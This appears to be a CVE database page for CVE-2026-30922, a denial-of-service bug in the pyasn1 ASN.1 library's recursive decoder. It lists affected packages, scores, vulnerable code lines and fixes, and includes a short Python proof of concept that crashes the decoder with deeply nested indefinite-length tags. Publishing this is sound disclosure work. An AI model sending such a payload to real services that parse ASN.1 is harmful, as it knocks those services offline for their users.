CVE-2026-30922
JSON

7.5high

pyasn1 Vulnerable to Denial of Service via Unbounded Recursion

Severity
7.5high CVSS:3.1 by GitHub_M
Exploit likelihood
1.08% (higher than 65% of CVEs)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-jr27-m4p2-rc6rPYSEC-2026-2263

Description

pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.3, the `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing thousands of nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with "Indefinite Length" (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application. This is a distinct vulnerability from CVE-2026-23490 (which addressed integer overflows in OID decoding). The fix for CVE-2026-23490 (`MAX_OID_ARC_CONTINUATION_OCTETS`) does not mitigate this recursion issue. Version 0.6.3 fixes this specific issue.

Affected

Product or packageVersionsReported by
pyasn1 pyasn1< 0.6.3, before 0.6.3CVE List, NVD
python3.12-pyasn1Not specified
Not affected: from 0:0.6.3-1.el8ap before *, from 0:0.6.3-1.el9ap before *
CVE List
automation-controllerNot specified
Not affected: from 0:4.6.29-2.el8ap before *, from 0:4.6.29-2.el9ap before *, from 0:4.7.12-1.el9ap before *
CVE List
fence-agentsNot specified
Not affected: from 0:4.16.0-13.el10_1.4 before *, from 0:4.16.0-21.el10_2.1 before *, from 0:4.16.0-5.el10_0.9 before *, from 0:4.2.1-129.el8_10.25 before *, from 0:4.2.1-65.el8_4.28 before *, from 0:4.2.1-89.el8_6.22 before *
CVE List
resource-agentsNot specified
Not affected: from 0:4.9.0-54.el8_10.33 before *, from 0:4.1.1-90.el8_4.25 before *, from 0:4.9.0-16.el8_6.22 before *, from 0:4.9.0-40.el8_8.19 before *
CVE List
rhaiis/vllm-rocm-rhel9Not specified
Not affected: from 1778244531 before *
CVE List
ansible-automation-platform-25/ee-supported-rhel8Not specified
Not affected: from 1777398315 before *
CVE List
ansible-automation-platform-25/lightspeed-rhel8Not specified
Not affected: from 1777403872 before *
CVE List
ansible-automation-platform-25/platform-resource-runner-rhel8Not specified
Not affected: from 1777402264 before *
CVE List
ansible-automation-platform-26/eda-controller-rhel9Not specified
Not affected: from 1777296732 before *
CVE List
ansible-automation-platform-26/gateway-rhel9Not specified
Not affected: from 1777311120 before *
CVE List
ansible-automation-platform-26/lightspeed-rhel9Not specified
Not affected: from 1777387242 before *
CVE List

All scores

GitHub_M7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
redhat-SADP7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
GitHub7.5high CVSS:3.0CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
PyPA Advisory Database7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Classification

CWE-674CWE-835

SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact partial.

What each source says

CVE List

pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.3, the `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing thousands of nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with "Indefinite Length" (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application. This is a distinct vulnerability from CVE-2026-23490 (which addressed integer overflows in OID decoding). The fix for CVE-2026-23490 (`MAX_OID_ARC_CONTINUATION_OCTETS`) does not mitigate this recursion issue. Version 0.6.3 fixes this specific issue.

GitHub Advisory Database
Summary

The pyasn1 library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested SEQUENCE (0x30) or SET (0x31) tags with Indefinite Length (0x80) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a RecursionError or consumes all available memory (OOM), crashing the host application.

Details

The vulnerability exists because the decoder iterates through the input stream and recursively calls decodeFun (the decoding callback) for every nested component found, without tracking or limiting the recursion depth. Vulnerable Code Locations:

  1. indefLenValueDecoder (Line 998): for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options): This method handles indefinite-length constructed types. It sits inside a while True loop and recursively calls the decoder for every nested tag.

  2. valueDecoder (Lines 786 and 907): for component in decodeFun(substrate, componentType, **options): This method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of SEQUENCE or SET types. Line 907: Recursively decodes elements of SEQUENCE OF or SET OF types.

  3. _decodeComponentsSchemaless (Line 661): for component in decodeFun(substrate, **options): This method handles decoding when no schema is provided.

In all three cases, decodeFun is invoked without passing a depth parameter or checking against a global MAX_ASN1_NESTING limit.

PoC
import sys
from pyasn1.codec.ber import decoder

sys.setrecursionlimit(100000)

print("[*] Generating Recursion Bomb Payload...")
depth = 50_000
chunk = b'\x30\x80' 
payload = chunk * depth

print(f"[*] Payload size: {len(payload) / 1024:.2f} KB")
print("[*] Triggering Decoder...")

try:
    decoder.decode(payload)
except RecursionError:
    print("[!] Crashed: Recursion Limit Hit")
except MemoryError:
    print("[!] Crashed: Out of Memory")
except Exception as e:
    print(f"[!] Crashed: {e}")
[*] Payload size: 9.77 KB
[*] Triggering Decoder...
[!] Crashed: Recursion Limit Hit
Impact
  • This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.
  • Service Crash: Any service using pyasn1 to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.
  • Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack.
Credits

Vulnerability discovered by Kevin Tu of TMIR at ByteDance.

NVD (es)

pyasn1 es una biblioteca ASN.1 genérica para Python. Antes de la versión 0.6.3, la biblioteca 'pyasn1' es vulnerable a un ataque de denegación de servicio (DoS) causado por recursión incontrolada al decodificar datos ASN.1 con estructuras profundamente anidadas. Un atacante puede suministrar una carga útil manipulada que contenga miles de etiquetas 'SEQUENCE' ('0x30') o 'SET' ('0x31') anidadas con marcadores de 'Longitud Indefinida' ('0x80'). Esto fuerza al decodificador a llamarse recursivamente hasta que el intérprete de Python falla con un 'RecursionError' o consume toda la memoria disponible (OOM), provocando la caída de la aplicación anfitriona. Esta es una vulnerabilidad distinta de CVE-2026-23490 (que abordó desbordamientos de enteros en la decodificación de OID). La solución para CVE-2026-23490 ('MAX_OID_ARC_CONTINUATION_OCTETS') no mitiga este problema de recursión. La versión 0.6.3 soluciona este problema específico.

References

https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6revidence, exploit, vendor-advisory, web
https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0fix, patch, web
http://www.openwall.com/lists/oss-security/2026/03/20/4web
https://lists.debian.org/debian-lts-announce/2026/05/msg00001.htmlweb
https://access.redhat.com/security/cve/CVE-2026-30922vdb-entry, web
https://bugzilla.redhat.com/show_bug.cgi?id=2448553issue-tracking, web
https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-30922.jsonweb
https://access.redhat.com/errata/RHSA-2026:24761vendor-advisory, web
https://access.redhat.com/errata/RHSA-2026:13512vendor-advisory, web
https://access.redhat.com/errata/RHSA-2026:24762vendor-advisory, web
https://access.redhat.com/errata/RHSA-2026:13508vendor-advisory, web
https://access.redhat.com/errata/RHSA-2026:17083vendor-advisory, web

Sources

SourceRecordLicence
CVE ListCVE-2026-30922 changed 2026-09-17CVE Terms of Use
GitHub Advisory DatabaseGHSA-jr27-m4p2-rc6r changed 2026-09-09CC-BY-4.0
NVDCVE-2026-30922 changed 2026-09-10Public domain
PyPA Advisory DatabasePYSEC-2026-2263 changed 2026-07-13CC-BY-4.0